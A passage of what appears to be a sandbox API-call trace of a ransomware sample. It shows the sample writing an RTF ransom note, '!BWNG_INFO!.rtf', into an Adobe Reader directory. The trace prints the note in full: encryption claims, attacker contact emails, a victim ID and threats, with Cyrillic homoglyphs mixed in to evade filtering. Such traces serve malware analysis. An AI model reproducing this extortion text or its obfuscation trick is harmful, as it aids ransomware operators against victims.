t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.584] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.585] CloseHandle (hObject=0x1cc) returned 1 [0040.585] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\!bwng_info!.rtf")) returned 0xffffffff [0040.585] GetLastError () returned 0x2 [0040.585] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.586] WideCharToMultiByte 